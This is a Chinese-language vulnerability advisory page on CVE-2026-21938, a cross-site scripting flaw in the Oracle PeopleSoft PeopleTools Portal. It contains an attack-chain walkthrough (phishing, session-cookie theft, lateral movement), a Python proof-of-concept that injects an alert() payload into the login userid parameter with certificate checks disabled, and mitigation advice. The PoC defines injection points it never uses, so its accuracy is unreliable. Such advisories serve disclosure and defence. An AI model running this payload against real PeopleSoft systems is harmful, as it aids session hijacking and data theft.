IPBUF安全漏洞报告
English
CVE-2026-21938 CVSS 6.1 中危

CVE-2026-21938 Oracle PeopleSoft PeopleTools Portal组件跨站脚本漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-21938
漏洞类型
跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Oracle PeopleSoft Enterprise PeopleTools

相关标签

CVE-2026-21938OraclePeopleSoftPeopleToolsPortal跨站脚本XSS中等严重性Web应用安全Oracle PeopleSoft Enterprise PeopleTools 8.60

漏洞概述

CVE-2026-21938是Oracle PeopleSoft Enterprise PeopleTools产品Portal组件中的一个中等严重性安全漏洞。该漏洞影响8.60、8.61和8.62版本。攻击者可以在无需认证的情况下通过网络访问HTTP接口来利用此漏洞,但需要用户交互才能成功实施攻击。此漏洞的危险性在于,虽然本身位于PeopleSoft Enterprise PeopleTools中,但攻击可能对其他产品产生重大影响(scope change)。成功利用此漏洞可能导致未授权的数据更新、插入或删除访问,以及对部分PeopleSoft Enterprise PeopleTools可访问数据的未授权读取。CVSS 3.1基础评分为6.1,主要影响机密性和完整性,机密性影响为低,完整性影响为低,可用性无影响。

技术细节

该漏洞存在于Oracle PeopleSoft Enterprise PeopleTools的Portal组件中,是一个典型的Web应用安全漏洞。攻击者通过构造特定的恶意请求,可以在Portal的输入字段或参数中注入恶意脚本代码。由于该漏洞需要用户交互,攻击通常通过社会工程学手段诱导合法用户访问包含恶意内容的页面。一旦用户访问,注入的脚本将在用户浏览器上下文中执行,攻击者可以窃取用户会话Cookie、劫持用户会话、修改页面内容或进行其他恶意操作。漏洞的scope change特性表明,攻击者可能利用此漏洞作为入口点,进一步横向移动到其他相关系统。由于PeopleSoft系统通常用于企业核心业务流程,攻击者可能获取敏感的人力资源、财务或业务数据。攻击者需要具备网络访问能力,但不需要任何认证凭据,这大大降低了攻击门槛。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标Oracle PeopleSoft Enterprise PeopleTools实例版本(8.60/8.61/8.62),并定位Portal组件的入口点
STEP 2
步骤2
构造恶意载荷:攻击者构造包含恶意JavaScript代码的XSS载荷,如<script>标签或事件处理器属性
STEP 3
步骤3
注入恶意代码:通过HTTP请求将恶意载荷注入到Portal组件的输入字段、URL参数或表单数据中
STEP 4
步骤4
等待用户交互:攻击者通过钓鱼邮件、即时消息或其他社会工程手段诱导具有访问权限的用户访问包含恶意内容的页面
STEP 5
步骤5
脚本执行:当受害用户访问恶意页面时,注入的JavaScript在其浏览器上下文中执行
STEP 6
步骤6
数据窃取或会话劫持:攻击者通过已执行的脚本窃取用户会话Cookie、劫持会话、读取敏感数据或执行其他恶意操作
STEP 7
步骤7
横向移动:利用scope change特性,攻击者可能利用获取的访问权限进一步攻击其他相关系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib3 urllib3.disable_warnings() # CVE-2026-21938 PoC - PeopleSoft Portal XSS # Target: Oracle PeopleSoft Enterprise PeopleTools # Component: Portal TARGET_URL = "https://vulnerable-server/psp/HR92D/" # Replace with actual target def test_xss_payload(): """ Test for stored XSS in PeopleSoft Portal component This PoC demonstrates the vulnerability in CVE-2026-21938 """ # XSS payload - typical injection point in Portal parameters xss_payload = "<script>alert('XSS-CVE-2026-21938')</script>" # Common injection points in PeopleSoft Portal injection_points = [ "/psc/HR92D/", "/portal/", "/servletpsc/", "/EMPLOYEE/HRMS/" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } print(f"[*] Testing CVE-2026-21938 on {TARGET_URL}") print(f"[*] Target component: Portal") print(f"[*] Payload: {xss_payload}") # Test various parameters commonly vulnerable in Portal params = { 'cmd': 'login', 'languageCd': 'ENG', 'userid': xss_payload, 'pwd': 'test123' } try: response = requests.get( TARGET_URL, params=params, headers=headers, verify=False, timeout=30 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if xss_payload in response.text: print("[!] VULNERABLE - XSS payload reflected in response") return True else: print("[*] Payload not found in response - may require different injection point") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def verify_version(peoplesoft_url): """ Check PeopleSoft version for vulnerability assessment Affected versions: 8.60, 8.61, 8.62 """ version_urls = [ "/psp/HR92D/?cmd=about", "/psc/HR92D/ABOUT", "/psp/EMPLOYEE/HRMS/h/?tab=DEFAULT" ] for url in version_urls: try: response = requests.get( peoplesoft_url + url, verify=False, timeout=10 ) # Look for version indicators in response if '8.60' in response.text or '8.61' in response.text or '8.62' in response.text: print(f"[+] Found vulnerable version indicator at {url}") return True except: continue return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-21938 PoC - Oracle PeopleSoft PeopleTools Portal XSS") print("CVSS: 6.1 (Medium)") print("=" * 60) test_xss_payload()

影响范围

Oracle PeopleSoft Enterprise PeopleTools 8.60
Oracle PeopleSoft Enterprise PeopleTools 8.61
Oracle PeopleSoft Enterprise PeopleTools 8.62

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 在Web应用防火墙中配置XSS防护规则,拦截包含<script>标签、JavaScript事件处理器等可疑模式的请求;2) 对所有用户输入实施严格的输入验证和白名单过滤;3) 对所有输出内容进行HTML实体编码,防止脚本执行;4) 启用内容安全策略(CSP)头部,限制页面脚本来源;5) 提醒用户不要点击来自不可信来源的链接;6) 考虑临时禁用非必要的Portal功能;7) 加强对Portal组件的监控,及时发现异常访问模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表